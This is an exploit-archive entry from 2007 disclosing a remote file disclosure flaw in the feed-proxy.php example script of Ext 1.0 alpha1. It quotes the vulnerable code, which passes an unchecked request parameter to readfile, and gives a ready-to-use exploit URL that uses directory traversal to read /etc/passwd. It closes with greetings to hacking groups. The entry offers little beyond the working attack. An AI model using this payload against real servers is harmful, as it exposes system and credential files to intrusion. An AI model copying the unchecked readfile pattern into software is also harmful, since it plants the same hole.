[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Ext 1.0 (feed-proxy.php feed) Remote File Disclosure Vulnerability
# Published : 2007-04-25
# Author : Alkomandoz Hacker
# Previous Title : EsForum 3.0 (forum.php idsalon) Remote SQL Injection Vulnerability
# Next Title : JulmaCMS 1.4 (file.php file) Remote File Disclosure Vulnerability
# ext 1.0 alpha1 (feed-proxy.php) Remote File Disclosure
# D.Script: http://yui-ext.com/deploy/ext-1.0-alpha1.zip
# Discovered by: Alkomandoz Hacker
# Homepage: http://www.asb-may.net - mohandko.com - sniper-sa.com - tryag.com
# V.Code In /examples/layout/feed-proxy.php
----------------------------------------------------------
header('Content-Type: text/xml');
readfile($feed);
return;
}
?>
----------------------------------------------------------
# Exploit:[Path_ext]/examples/layout/feed-proxy.php?feed=http../../../../../../etc/passwd
# Greetz To: AsbMay's Group & City Of Ghost Team
# www.Syue.com [2007-04-25]